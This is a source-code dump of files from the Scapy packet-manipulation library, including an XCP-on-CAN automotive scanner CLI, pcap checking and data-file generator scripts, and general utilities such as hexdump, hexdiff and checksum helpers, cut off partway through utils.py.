file=sys.stderr) if verbose: traceback.print_exc(file=sys.stderr) sys.exit(1) finally: if isock: isock.close() if csock: csock.close() if __name__ == '__main__': main() ================================================ FILE: scapy/tools/automotive/xcpscanner.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Fabian Wiche # Copyright (C) Tabea Spahn import argparse import signal import sys from scapy.contrib.automotive.xcp.scanner import XCPOnCANScanner from scapy.contrib.automotive.xcp.xcp import XCPOnCAN from scapy.contrib.cansocket import CANSocket class ScannerParams: def __init__(self): self.id_range = None self.sniff_time = None self.verbose = False self.channel = None self.broadcast = False def signal_handler(sig, _frame): sys.stderr.write("Interrupting scan!\n") # Use same convention as the bash shell # 128+n where n is the fatal error signal # https://tldp.org/LDP/abs/html/exitcodes.html#EXITCODESREF sys.exit(128 + sig) def init_socket(scan_params): print("Initializing socket for " + scan_params.channel) try: sock = CANSocket(scan_params.channel) except Exception as e: sys.stderr.write("\nSocket could not be created: " + str(e) + "\n") sys.exit(1) sock.basecls = XCPOnCAN return sock def parse_inputs(): scanner_params = ScannerParams() parser = argparse.ArgumentParser() parser.description = "Finds XCP slaves using the XCP Broadcast-CAN " \ "identifier." parser.add_argument('--start', '-s', help='Start ID CAN (in hex).\n' 'If actual ID is unknown the scan will ' 'test broadcast ids between --start and --end ' '(inclusive). Default: 0x00') parser.add_argument('--end', '-e', help='End ID CAN (in hex).\n' 'If actual ID is unknown the scan will test ' 'broadcast ids between --start and --end ' '(inclusive). Default: 0x7ff') parser.add_argument('--sniff_time', '-t', help='Duration in milliseconds a sniff is waiting ' 'for a response.', type=int, default=100) parser.add_argument('channel', help='Linux SocketCAN interface name, e.g.: vcan0') parser.add_argument('--verbose', '-v', action="store_true", help='Display information during scan') parser.add_argument('--broadcast', '-b', action="store_true", help='Use Broadcast-message GetSlaveId instead of ' 'default "Connect"') args = parser.parse_args() scanner_params.channel = args.channel scanner_params.verbose = args.verbose scanner_params.use_broadcast = args.broadcast scanner_params.sniff_time = float(args.sniff_time) / 1000 start_id = int(args.start, 16) if args.start is not None else 0 end_id = int(args.end, 16) if args.end is not None else 0x7ff if start_id > end_id: parser.error( "End identifier must not be smaller than the start identifier.") sys.exit(1) scanner_params.id_range = range(start_id, end_id + 1) return scanner_params def main(): scanner_params = parse_inputs() can_socket = init_socket(scanner_params) try: scanner = XCPOnCANScanner(can_socket, id_range=scanner_params.id_range, sniff_time=scanner_params.sniff_time, verbose=scanner_params.verbose) signal.signal(signal.SIGINT, signal_handler) results = scanner.scan_with_get_slave_id() \ if scanner_params.broadcast \ else scanner.scan_with_connect() # Blocking if isinstance(results, list) and len(results) > 0: for r in results: print(r) else: print("Detected no XCP slave.") except Exception as err: sys.stderr.write(str(err) + "\n") sys.exit(1) finally: can_socket.close() if __name__ == "__main__": main() ================================================ FILE: scapy/tools/check_asdis.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi import getopt def usage(): print("""Usage: check_asdis -i [-o ] -v increase verbosity -d hexdiff packets that differ -z compress output pcap -a open pcap file in append mode""", file=sys.stderr) def main(argv): PCAP_IN = None PCAP_OUT = None COMPRESS = False APPEND = False DIFF = False VERBOSE = 0 try: opts = getopt.getopt(argv, "hi:o:azdv") for opt, param in opts[0]: if opt == "-h": usage() raise SystemExit elif opt == "-i": PCAP_IN = param elif opt == "-o": PCAP_OUT = param elif opt == "-v": VERBOSE += 1 elif opt == "-d": DIFF = True elif opt == "-a": APPEND = True elif opt == "-z": COMPRESS = True if PCAP_IN is None: raise getopt.GetoptError("Missing pcap file (-i)") except getopt.GetoptError as e: print("ERROR: %s" % e, file=sys.stderr) raise SystemExit from scapy.config import conf from scapy.utils import RawPcapReader, RawPcapWriter, hexdiff from scapy.layers import all # noqa: F401 pcap = RawPcapReader(PCAP_IN) pcap_out = None if PCAP_OUT: pcap_out = RawPcapWriter(PCAP_OUT, append=APPEND, gz=COMPRESS, linktype=pcap.linktype) # noqa: E501 pcap_out._write_header(None) LLcls = conf.l2types.get(pcap.linktype) if LLcls is None: print(" Unknown link type [%i]. Can't test anything!" % pcap.linktype, file=sys.stderr) # noqa: E501 raise SystemExit i = -1 differ = 0 failed = 0 for p1, meta in pcap: i += 1 try: p2d = LLcls(p1) p2 = str(p2d) except KeyboardInterrupt: raise except Exception as e: print("Dissection error on packet %i: %s" % (i, e)) failed += 1 else: if p1 == p2: if VERBOSE >= 2: print("Packet %i ok" % i) continue else: print("Packet %i differs" % i) differ += 1 if VERBOSE >= 1: print(repr(p2d)) if DIFF: hexdiff(p1, p2) if pcap_out is not None: pcap_out.write(p1) i += 1 correct = i - differ - failed print("%i total packets. %i ok, %i differed, %i failed. %.2f%% correct." % (i, correct, differ, # noqa: E501 failed, i and 100.0 * (correct) / i)) # noqa: E501 if __name__ == "__main__": import sys try: main(sys.argv[1:]) except KeyboardInterrupt: print("Interrupted by user.", file=sys.stderr) ================================================ FILE: scapy/tools/check_spdx.sh ================================================ #!/bin/bash # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Check that all Scapy files have a SPDX SCRIPT_DIR=$( cd -- "$( dirname -- "${BASH_SOURCE[0]}" )" &> /dev/null && pwd ) ROOT_DIR=$SCRIPT_DIR/../.. # http://mywiki.wooledge.org/BashFAQ/024 # This documents an absolutely WTF behavior of bash. set +m shopt -s lastpipe function check_path() { cd $ROOT_DIR RCODE=0 for ext in "${@:2}"; do find $1 -name "*.$ext" | while read f; do if [[ -z $(grep "SPDX" $f) ]]; then echo "$f" RCODE=1 fi done done return $RCODE } check_path scapy py || exit $? ================================================ FILE: scapy/tools/generate_bluetooth.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Generate the bluetoothids.py file based on blueooth_sig's public listing """ import yaml import json import gzip import urllib.request from base64 import b85encode URL = "https://bitbucket.org/bluetooth-SIG/public/raw/main/assigned_numbers/company_identifiers/company_identifiers.yaml" # noqa: E501 with urllib.request.urlopen(URL) as stream: DATA = yaml.safe_load(stream.read()) COMPILED = {} for company in DATA["company_identifiers"]: COMPILED[company["value"]] = company["name"] # Compress properly COMPILED = gzip.compress(json.dumps(COMPILED).encode()) # Encode in Base85 COMPILED = b85encode(COMPILED).decode() # Split COMPILED = "\n".join(COMPILED[i : i + 79] for i in range(0, len(COMPILED), 79)) + "\n" with open("../libs/bluetoothids.py", "r") as inp: data = inp.read() with open("../libs/bluetoothids.py", "w") as out: ini, sep, _ = data.partition("DATA = _d(\"\"\"") COMPILED = ini + sep + "\n" + COMPILED + "\"\"\")\n" print("Written: %s" % out.write(COMPILED)) ================================================ FILE: scapy/tools/generate_ethertypes.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """Generate the ethertypes file (/etc/ethertypes) based on the OpenBSD source https://github.com/openbsd/src/blob/master/sys/net/ethertypes.h It allows to have a file with the format of http://git.netfilter.org/ebtables/plain/ethertypes but up-to-date. """ import gzip import re import urllib.request from base64 import b85encode from scapy.error import log_loading URL = "https://raw.githubusercontent.com/openbsd/src/master/sys/net/ethertypes.h" # noqa: E501 with urllib.request.urlopen(URL) as stream: DATA = stream.read() reg = r".*ETHERTYPE_([^\s]+)\s.0x([0-9A-Fa-f]+).*\/\*(.*)\*\/" COMPILED = """# # Ethernet frame types # This file describes some of the various Ethernet # protocol types that are used on Ethernet networks. # # This list could be found on: # http://www.iana.org/assignments/ethernet-numbers # http://www.iana.org/assignments/ieee-802-numbers # # ... #Comment # """ ALIASES = {"IP": "IPv4", "IPV6": "IPv6"} for line in DATA.split(b"\n"): try: match = re.match(reg, line.decode("utf8", errors="backslashreplace")) if match: name = match.group(1) name = ALIASES.get(name, name).ljust(16) number = match.group(2).upper() comment = match.group(3).strip() COMPILED += ("%s%s" + " " * 25 + "# %s\n") % (name, number, comment) except Exception: log_loading.warning( "Couldn't parse one line from [%s] [%r]", URL, line, exc_info=True ) # Compress properly COMPILED = gzip.compress(COMPILED.encode()) # Encode in Base85 COMPILED = b85encode(COMPILED).decode() # Split COMPILED = "\n".join(COMPILED[i : i + 79] for i in range(0, len(COMPILED), 79)) + "\n" with open("../libs/ethertypes.py", "r") as inp: data = inp.read() with open("../libs/ethertypes.py", "w") as out: ini, sep, _ = data.partition("DATA = _d(\"\"\"") COMPILED = ini + sep + "\n" + COMPILED + "\"\"\")\n" print("Written: %s" % out.write(COMPILED)) ================================================ FILE: scapy/tools/generate_manuf.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Generate the manuf.py file based on wireshark's manuf """ import gzip import urllib.request from base64 import b85encode URL = "https://www.wireshark.org/download/automated/data/manuf" with urllib.request.urlopen(URL) as stream: DATA = stream.read() COMPILED = "" for line in DATA.split(b"\n"): # We decode to strip any non-UTF8 characters. line = line.strip().decode("utf8", errors="backslashreplace") if not line or line.startswith("#"): continue COMPILED += line + "\n" # Compress properly COMPILED = gzip.compress(COMPILED.encode()) # Encode in Base85 COMPILED = b85encode(COMPILED).decode() # Split COMPILED = "\n".join(COMPILED[i : i + 79] for i in range(0, len(COMPILED), 79)) + "\n" with open("../libs/manuf.py", "r") as inp: data = inp.read() with open("../libs/manuf.py", "w") as out: ini, sep, _ = data.partition("DATA = _d(\"\"\"") COMPILED = ini + sep + "\n" + COMPILED + "\"\"\")\n" print("Written: %s" % out.write(COMPILED)) ================================================ FILE: scapy/tools/scapy_pyannotate.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ Wrap Scapy's shell in pyannotate. """ import os import sys sys.path.insert(0, os.path.abspath('../../')) from pyannotate_runtime import collect_types # noqa: E402 from scapy.main import interact # noqa: E402 collect_types.init_types_collection() with collect_types.collect(): interact() collect_types.dump_stats("pyannotate_results_main") ================================================ FILE: scapy/utils.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ General utility functions. """ from decimal import Decimal from io import StringIO from itertools import zip_longest from uuid import UUID import argparse import array import collections import decimal import difflib import enum import gzip import inspect import locale import math import os import random import re import shutil import socket import struct import subprocess import sys import tempfile import threading import time import traceback import warnings from scapy.config import conf from scapy.consts import DARWIN, OPENBSD, WINDOWS from scapy.data import MTU, DLT_EN10MB, DLT_RAW from scapy.compat import ( orb, plain_str, chb, hex_bytes, bytes_encode, ) from scapy.error import ( log_interactive, log_runtime, Scapy_Exception, warning, ) from scapy.pton_ntop import inet_pton # Typing imports from typing import ( Any, AnyStr, Callable, cast, Dict, IO, Iterator, List, Optional, overload, Tuple, TYPE_CHECKING, Type, Union, ) from scapy.compat import ( DecoratorCallable, Literal, ) if TYPE_CHECKING: from scapy.packet import Packet from scapy.plist import _PacketIterable, PacketList from scapy.supersocket import SuperSocket import prompt_toolkit _ByteStream = Union[IO[bytes], gzip.GzipFile] ########### # Tools # ########### def issubtype(x, # type: Any t, # type: Union[type, str] ): # type: (...) -> bool """issubtype(C, B) -> bool Return whether C is a class and if it is a subclass of class B. When using a tuple as the second argument issubtype(X, (A, B, ...)), is a shortcut for issubtype(X, A) or issubtype(X, B) or ... (etc.). """ if isinstance(t, str): return t in (z.__name__ for z in x.__bases__) if isinstance(x, type) and issubclass(x, t): return True return False _Decimal = Union[Decimal, int] class EDecimal(Decimal): """Extended Decimal This implements arithmetic and comparison with float for backward compatibility """ def __add__(self, other, context=None): # type: (_Decimal, Any) -> EDecimal return EDecimal(Decimal.__add__(self, Decimal(other))) def __radd__(self, other): # type: (_Decimal) -> EDecimal return EDecimal(Decimal.__add__(self, Decimal(other))) def __sub__(self, other): # type: (_Decimal) -> EDecimal return EDecimal(Decimal.__sub__(self, Decimal(other))) def __rsub__(self, other): # type: (_Decimal) -> EDecimal return EDecimal(Decimal.__rsub__(self, Decimal(other))) def __mul__(self, other): # type: (_Decimal) -> EDecimal return EDecimal(Decimal.__mul__(self, Decimal(other))) def __rmul__(self, other): # type: (_Decimal) -> EDecimal return EDecimal(Decimal.__mul__(self, Decimal(other))) def __truediv__(self, other): # type: (_Decimal) -> EDecimal return EDecimal(Decimal.__truediv__(self, Decimal(other))) def __floordiv__(self, other): # type: (_Decimal) -> EDecimal return EDecimal(Decimal.__floordiv__(self, Decimal(other))) def __divmod__(self, other): # type: (_Decimal) -> Tuple[EDecimal, EDecimal] r = Decimal.__divmod__(self, Decimal(other)) return EDecimal(r[0]), EDecimal(r[1]) def __mod__(self, other): # type: (_Decimal) -> EDecimal return EDecimal(Decimal.__mod__(self, Decimal(other))) def __rmod__(self, other): # type: (_Decimal) -> EDecimal return EDecimal(Decimal.__rmod__(self, Decimal(other))) def __pow__(self, other, modulo=None): # type: (_Decimal, Optional[_Decimal]) -> EDecimal return EDecimal(Decimal.__pow__(self, Decimal(other), modulo)) def __eq__(self, other): # type: (Any) -> bool if isinstance(other, Decimal): return super(EDecimal, self).__eq__(other) else: return bool(float(self) == other) def normalize(self, precision): # type: ignore # type: (int) -> EDecimal with decimal.localcontext() as ctx: ctx.prec = precision return EDecimal(super(EDecimal, self).normalize(ctx)) @overload def get_temp_file(keep, autoext, fd): # type: (bool, str, Literal[True]) -> IO[bytes] pass @overload def get_temp_file(keep=False, autoext="", fd=False): # type: (bool, str, Literal[False]) -> str pass def get_temp_file(keep=False, autoext="", fd=False): # type: (bool, str, bool) -> Union[IO[bytes], str] """Creates a temporary file. :param keep: If False, automatically delete the file when Scapy exits. :param autoext: Suffix to add to the generated file name. :param fd: If True, this returns a file-like object with the temporary file opened. If False (default), this returns a file path. """ f = tempfile.NamedTemporaryFile(prefix="scapy", suffix=autoext, delete=False) if not keep: conf.temp_files.append(f.name) if fd: return f else: # Close the file so something else can take it. f.close() return f.name def get_temp_dir(keep=False): # type: (bool) -> str """Creates a temporary file, and returns its name. :param keep: If False (default), the directory will be recursively deleted when Scapy exits. :return: A full path to a temporary directory. """ dname = tempfile.mkdtemp(prefix="scapy") if not keep: conf.temp_files.append(dname) return dname def _create_fifo() -> Tuple[str, Any]: """Creates a temporary fifo. You must then use open_fifo() on the server_fd once the client is connected to use it. :returns: (client_file, server_fd) """ if WINDOWS: from scapy.arch.windows.structures import _get_win_fifo return _get_win_fifo() else: f = get_temp_file() os.unlink(f) os.mkfifo(f) return f, f def _open_fifo(fd: Any, mode: str = "rb") -> IO[bytes]: """Open the server_fd (see create_fifo) """ if WINDOWS: from scapy.arch.windows.structures import _win_fifo_open return _win_fifo_open(fd) else: return open(fd, mode) def sane(x, color=False): # type: (AnyStr, bool) -> str r = "" for i in x: j = orb(i) if (j < 32) or (j >= 127): if color: r += conf.color_theme.not_printable(".") else: r += "." else: r += chr(j) return r @conf.commands.register def restart(): # type: () -> None """Restarts scapy""" if not conf.interactive or not os.path.isfile(sys.argv[0]): raise OSError("Scapy was not started from console") if WINDOWS: res_code = 1 try: res_code = subprocess.call([sys.executable] + sys.argv) finally: os._exit(res_code) os.execv(sys.executable, [sys.executable] + sys.argv) def lhex(x): # type: (Any) -> str from scapy.volatile import VolatileValue if isinstance(x, VolatileValue): return repr(x) if isinstance(x, int): return hex(x) if isinstance(x, tuple): return "(%s)" % ", ".join(lhex(v) for v in x) if isinstance(x, list): return "[%s]" % ", ".join(lhex(v) for v in x) return str(x) @conf.commands.register def hexdump(p, dump=False): # type: (Union[Packet, AnyStr], bool) -> Optional[str] """Build a tcpdump like hexadecimal view :param p: a Packet :param dump: define if the result must be printed or returned in a variable :return: a String only when dump=True """ s = "" x = bytes_encode(p) x_len = len(x) i = 0 while i < x_len: s += "%04x " % i for j in range(16): if i + j < x_len: s += "%02X " % orb(x[i + j]) else: s += " " s += " %s\n" % sane(x[i:i + 16], color=True) i += 16 # remove trailing \n s = s[:-1] if s.endswith("\n") else s if dump: return s else: print(s) return None @conf.commands.register def linehexdump(p, onlyasc=0, onlyhex=0, dump=False): # type: (Union[Packet, AnyStr], int, int, bool) -> Optional[str] """Build an equivalent view of hexdump() on a single line Note that setting both onlyasc and onlyhex to 1 results in a empty output :param p: a Packet :param onlyasc: 1 to display only the ascii view :param onlyhex: 1 to display only the hexadecimal view :param dump: print the view if False :return: a String only when dump=True """ s = "" s = hexstr(p, onlyasc=onlyasc, onlyhex=onlyhex, color=not dump) if dump: return s else: print(s) return None @conf.commands.register def chexdump(p, dump=False): # type: (Union[Packet, AnyStr], bool) -> Optional[str] """Build a per byte hexadecimal representation Example: >>> chexdump(IP()) 0x45, 0x00, 0x00, 0x14, 0x00, 0x01, 0x00, 0x00, 0x40, 0x00, 0x7c, 0xe7, 0x7f, 0x00, 0x00, 0x01, 0x7f, 0x00, 0x00, 0x01 # noqa: E501 :param p: a Packet :param dump: print the view if False :return: a String only if dump=True """ x = bytes_encode(p) s = ", ".join("%#04x" % orb(x) for x in x) if dump: return s else: print(s) return None @conf.commands.register def hexstr(p, onlyasc=0, onlyhex=0, color=False): # type: (Union[Packet, AnyStr], int, int, bool) -> str """Build a fancy tcpdump like hex from bytes.""" x = bytes_encode(p) s = [] if not onlyasc: s.append(" ".join("%02X" % orb(b) for b in x)) if not onlyhex: s.append(sane(x, color=color)) return " ".join(s) def repr_hex(s): # type: (bytes) -> str """ Convert provided bitstring to a simple string of hex digits """ return "".join("%02x" % orb(x) for x in s) @conf.commands.register def hexdiff( a: Union['Packet', AnyStr], b: Union['Packet', AnyStr], algo: Optional[str] = None, autojunk: bool = False, ) -> None: """ Show differences between 2 binary strings, Packets... Available algorithms: - wagnerfischer: Use the Wagner and Fischer algorithm to compute the Levenstein distance between the strings then backtrack. - difflib: Use the difflib.SequenceMatcher implementation. This based on a modified version of the Ratcliff and Obershelp algorithm. This is much faster, but far less accurate. https://docs.python.org/3.8/library/difflib.html#difflib.SequenceMatcher :param a: :param b: The binary strings, packets... to compare :param algo: Force the algo to be 'wagnerfischer' or 'difflib'. By default, this is chosen depending on the complexity, optimistically preferring wagnerfischer unless really necessary. :param autojunk: (difflib only) See difflib documentation. """ xb = bytes_encode(a) yb = bytes_encode(b) if algo is None: # Choose the best algorithm complexity = len(xb) * len(yb) if complexity < 1e7: # Comparing two (non-jumbos) Ethernet packets is ~2e6 which is manageable. # Anything much larger than this shouldn't be attempted by default. algo = "wagnerfischer" if complexity > 1e6: log_interactive.info( "Complexity is a bit high. hexdiff will take a few seconds." ) else: algo = "difflib" backtrackx = [] backtracky = [] if algo == "wagnerfischer": xb = xb[::-1] yb = yb[::-1] # costs for the 3 operations INSERT = 1 DELETE = 1 SUBST = 1 # Typically, d[i,j] will hold the distance between # the first i characters of xb and the first j characters of yb. # We change the Wagner Fischer to also store pointers to all # the intermediate steps taken while calculating the Levenstein distance. d = {(-1, -1): (0, (-1, -1))} for j in range(len(yb)): d[-1, j] = (j + 1) * INSERT, (-1, j - 1) for i in range(len(xb)): d[i, -1] = (i + 1) * INSERT + 1, (i - 1, -1) # Compute the Levenstein distance between the two strings, but # store all the steps to be able to backtrack at the end. for j in range(len(yb)): for i in range(len(xb)): d[i, j] = min( (d[i - 1, j - 1][0] + SUBST * (xb[i] != yb[j]), (i - 1, j - 1)), (d[i - 1, j][0] + DELETE, (i - 1, j)), (d[i, j - 1][0] + INSERT, (i, j - 1)), ) # Iterate through the steps backwards to create the diff i = len(xb) - 1 j = len(yb) - 1 while not (i == j == -1): i2, j2 = d[i, j][1] backtrackx.append(xb[i2 + 1:i + 1]) backtracky.append(yb[j2 + 1:j + 1]) i, j = i2, j2 elif algo == "difflib": sm = difflib.SequenceMatcher(a=xb, b=yb, autojunk=autojunk) xarr = [xb[i:i + 1] for i in range(len(xb))] yarr = [yb[i:i + 1] for i in range(len(yb))] # Iterate through opcodes to build the backtrack for opcode in sm.get_opcodes(): typ, x0, x1, y0, y1 = opcode if typ == 'delete': backtrackx += xarr[x0:x1] backtracky += [b''] * (x1 - x0) elif typ == 'insert': backtrackx += [b''] * (y1 - y0) backtracky += yarr[y0:y1] elif typ in ['equal', 'replace']: backtrackx += xarr[x0:x1] backtracky += yarr[y0:y1] # Some lines may have been considered as junk. Check the sizes if autojunk: lbx = len(backtrackx) lby = len(backtracky) backtrackx += [b''] * (max(lbx, lby) - lbx) backtracky += [b''] * (max(lbx, lby) - lby) else: raise ValueError("Unknown algorithm '%s'" % algo) # Print the diff x = y = i = 0 colorize: Dict[int, Callable[[str], str]] = { 0: lambda x: x, -1: conf.color_theme.left, 1: conf.color_theme.right } dox = 1 doy = 0 btx_len = len(backtrackx) while i < btx_len: linex = backtrackx[i:i + 16] liney = backtracky[i:i + 16] xx = sum(len(k) for k in linex) yy = sum(len(k) for k in liney) if dox and not xx: dox = 0 doy = 1 if dox and linex == liney: doy = 1 if dox: xd = y j = 0 while not linex[j]: j += 1 xd -= 1 print(colorize[doy - dox]("%04x" % xd), end=' ') x += xx line = linex else: print(" ", end=' ') if doy: yd = y j = 0 while not liney[j]: j += 1 yd -= 1 print(colorize[doy - dox]("%04x" % yd), end=' ') y += yy line = liney else: print(" ", end=' ') print(" ", end=' ') cl = "" for j in range(16): if i + j < min(len(backtrackx), len(backtracky)): if line[j]: col = colorize[(linex[j] != liney[j]) * (doy - dox)] print(col("%02X" % orb(line[j])), end=' ') if linex[j] == liney[j]: cl += sane(line[j], color=True) else: cl += col(sane(line[j])) else: print(" ", end=' ') cl += " " else: print(" ", end=' ') if j == 7: print("", end=' ') print(" ", cl) if doy or not yy: doy = 0 dox = 1 i += 16 else: if yy: dox = 0 doy = 1 else: i += 16 if struct.pack("H", 1) == b"\x00\x01": # big endian checksum_endian_transform = lambda chk: chk # type: Callable[[int], int] else: checksum_endian_transform = lambda chk: ((chk >> 8) & 0xff) | chk << 8 def checksum(pkt): # type: (bytes) -> int if len(pkt) % 2 == 1: pkt += b"\0" s = sum(array.array("H", pkt)) s = (s >> 16) + (s & 0xffff) s += s >> 16 s = ~s return checksum_endian_transform(s) & 0xffff def _fletcher16(charbuf): # type: (bytes) -> Tuple[int, int] # This is based on the GPLed C implementation in Zebra # noqa: E501 c0 = c1 = 0 for char in charbuf: c0 += char c1 += c0 c0 %= 255 c1 %= 255 return (c0, c1) @conf.commands.register def fletcher16_checksum(binbuf): # type: (bytes) -> int """Calculates Fletcher-16 checksum of the given buffer. Note: If the buffer contains the two checkbytes derived from the Fletcher-16 checksum # noqa: E501 the result of this function has to be 0. Otherwise the buffer has been corrupted. # noqa: E501 """ (c0, c1) = _fletcher16(binbuf) return (c1 << 8) | c0 @conf.commands.register def fletcher16_checkbytes(binbuf, offset): # type: (bytes, int) -> bytes """Calculates the Fletcher-16 checkbytes returned as 2 byte binary-string. Including the bytes into the buffer (at the position marked by offset) the # noqa: E501 global Fletcher-16 checksum of the buffer will be 0. Thus it is easy to verify # noqa: E501 the integrity of the buffer on the receiver side. For details on the algorithm, see RFC 2328 chapter 12.1.7 and RFC 905 Annex B. # noqa: E501 """ # This is based on the GPLed C implementation in Zebra # noqa: E501 if len(binbuf) < offset: raise Exception("Packet too short for checkbytes %d" % len(binbuf)) binbuf = binbuf[:offset] + b"\x00\x00" + binbuf[offset + 2:] (c0, c1) = _fletcher16(binbuf) x = ((len(binbuf) - offset - 1) * c0 - c1) % 255 if (x <= 0): x += 255 y = 510 - c0 - x if (y > 255): y -= 255 return chb(x) + chb(y) def mac2str(mac): # type: (str) -> bytes return b"".join(chb(int(x, 16)) for x in plain_str(mac).split(':')) def valid_mac(mac): # type: (str) -> bool try: return len(mac2str(mac)) == 6 except ValueError: pass return False def str2mac(s): # type: (bytes) -> str if isinstance(s, str): return ("%02x:" * len(s))[:-1] % tuple(map(ord, s)) return ("%02x:" * len(s))[:-1] % tuple(s) def randstring(length): # type: (int) -> bytes """ Returns a random string of length (length >= 0) """ return b"".join(struct.pack('B', random.randint(0, 255)) for _ in range(length)) def zerofree_randstring(length): # type: (int) -> bytes """ Returns a random string of length (length >= 0) without zero in it. """ return b"".join(struct.pack('B', random.randint(1, 255)) for _ in range(length)) def stror(s1, s2): # type: (bytes, bytes) -> bytes """ Returns the binary OR of the 2 provided strings s1 and s2. s1 and s2 must be of same length. """ return b"".join(map(lambda x, y: struct.pack("!B", x | y), s1, s2)) def strxor(s1, s2): # type: (bytes, bytes) -> bytes """ Returns the binary XOR of the 2 provided strings s1 and s2. s1 and s2 must be of same length. """ return b"".join(map(lambda x, y: struct.pack("!B", x ^ y), s1, s2)) def strand(s1, s2): # type: (bytes, bytes) -> bytes """ Returns the binary AND of the 2 provided strings s1 and s2. s1 and s2 must be of same length. """ return b"".join(map(lambda x, y: struct.pack("!B", x & y), s1, s2)) def strrot(s1, count, right=True): # type: (bytes, int, bool) -> bytes """ Rotate the binary by 'count' bytes """ off = count % len(s1) if right: return s1[-off:] + s1[:-off] else: return s1[off:] + s1[:off] # Workaround bug 643005 : https://sourceforge.net/tracker/?func=detail&atid=105470&aid=643005&group_id=5470 # noqa: E501 try: socket.inet_aton("255.255.255.255") except socket.error: def inet_aton(ip_string): # type: (str) -> bytes if ip_string == "255.255.255.255": return b"\xff" * 4 else: return socket.inet_aton(ip_string) else: inet_aton = socket.inet_aton # type: ignore inet_ntoa = socket.inet_ntoa def atol(x): # type: (str) -> int try: ip = inet_aton(x) except socket.error: raise ValueError("Bad IP format: %s" % x) return cast(int, struct.unpack("!I", ip)[0]) def valid_ip(addr): # type: (str) -> bool try: addr = plain_str(addr) except UnicodeDecodeError: return False try: atol(addr) except (OSError, ValueError, socket.error): return False return True def valid_net(addr): # type: (str) -> bool try: addr = plain_str(addr) except UnicodeDecodeError: return False if '/' in addr: ip, mask = addr.split('/', 1) return valid_ip(ip) and mask.isdigit() and 0 <= int(mask) <= 32 return valid_ip(addr) def valid_ip6(addr): # type: (str) -> bool try: addr = plain_str(addr) except UnicodeDecodeError: return False try: inet_pton(socket.AF_INET6, addr) except socket.error: return False return True def valid_net6(addr): # type: (str) -> bool try: addr = plain_str(addr) except UnicodeDecodeError: return False if '/' in addr: ip, mask = addr.split('/', 1) return valid_ip6(ip) and mask.isdigit() and 0 <= int(mask) <= 128 return valid_ip6(addr) def ltoa(x): # type: (int) -> str return inet_ntoa(struct.pack("!I", x & 0xffffffff)) def itom(x): # type: (int) -> int return (0xffffffff00000000 >> x) & 0xffffffff def in4_cidr2mask(m): # type: (int) -> bytes """ Return the mask (bitstring) associated with provided length value. For instance if function is called on 20, return value is b'\xff\xff\xf0\x00'. """ if m > 32 or m < 0: raise Scapy_Exception("value provided to in4_cidr2mask outside [0, 32] domain (%d)" % m) # noqa: E501 return strxor( b"\xff" * 4, struct.pack(">I", 2**(32 - m) - 1) ) def in4_isincluded(addr, prefix, mask): # type: (str, str, int) -> bool """ Returns True when 'addr' belongs to prefix/mask. False otherwise. """ temp = inet_pton(socket.AF_INET, addr) pref = in4_cidr2mask(mask) zero = inet_pton(socket.AF_INET, prefix) return zero == strand(temp, pref) def in4_ismaddr(str): # type: (str) -> bool """ Returns True if provided address in printable format belongs to allocated Multicast address space (224.0.0.0/4). """ return in4_isincluded(str, "224.0.0.0", 4) def in4_ismlladdr(str): # type: (str) -> bool """ Returns True if address belongs to link-local multicast address space (224.0.0.0/24) """ return in4_isincluded(str, "224.0.0.0", 24) def in4_ismgladdr(str): # type: (str) -> bool """ Returns True if address belongs to global multicast address space (224.0.1.0-238.255.255.255). """ return ( in4_isincluded(str, "224.0.0.0", 4) and not in4_isincluded(str, "224.0.0.0", 24) and not in4_isincluded(str, "239.0.0.0", 8) ) def in4_ismlsaddr(str): # type: (str) -> bool """ Returns True if address belongs to limited scope multicast address space (239.0.0.0/8). """ return in4_isincluded(str, "239.0.0.0", 8) def in4_isaddrllallnodes(str): # type: (str) -> bool """ Returns True if address is the link-local all-nodes multicast address (224.0.0.1). """ return (inet_pton(socket.AF_INET, "224.0.0.1") == inet_pton(socket.AF_INET, str)) def in4_getnsmac(a): # type: (bytes) -> str """ Return the multicast mac address associated with provided IPv4 address. Passed address must be in network format. """ return "01:00:5e:%.2x:%.2x:%.2x" % (a[1] & 0x7f, a[2], a[3]) def decode_locale_str(x): # type: (bytes) -> str """ Decode bytes into a string using the system locale. Useful on Windows where it can be unusual (e.g. cp1252) """ return x.decode(encoding=locale.getlocale()[1] or "utf-8", errors="replace") class ContextManagerSubprocess(object): """ Context manager that eases checking for unknown command, without crashing. Example: >>> with ContextManagerSubprocess("tcpdump"): >>> subprocess.Popen(["tcpdump", "--version"]) ERROR: Could not execute tcpdump, is it installed? """ def __init__(self, prog, suppress=True): # type: (str, bool) -> None self.prog = prog self.suppress = suppress def __enter__(self): # type: () -> None pass def __exit__(self, exc_type, # type: Optional[type] exc_value, # type: Optional[Exception] traceback, # type: Optional[Any] ): # type: (...) -> Optional[bool] if exc_value is None or exc_type is None: return None # Errored if isinstance(exc_value, EnvironmentError): msg = "Could not execute %s, is it installed?" % self.prog else: msg = "%s: execution failed (%s)" % ( self.prog, exc_type.__class__.__name__ ) if not self.suppress: raise exc_type(msg) log_runtime.error(msg, exc_info=True) return True # Suppress the exception class ContextManagerCaptureOutput(object): """ Context manager that intercept the console's output. Example: >>> with ContextManagerCaptureOutput() as cmco: ... print("hey") ... assert cmco.get_output() == "hey" """ def __init__(self): # type: () -> None self.result_export_object = "" def __enter__(self): # type: () -> ContextManagerCaptureOutput from unittest import mock def write(s, decorator=self): # type: (str, ContextManagerCaptureOutput) -> None decorator.result_export_object += s mock_stdout = mock.Mock() mock_stdout.write = write self.bck_stdout = sys.stdout sys.stdout = mock_stdout return self def __exit__(self, *exc): # type: 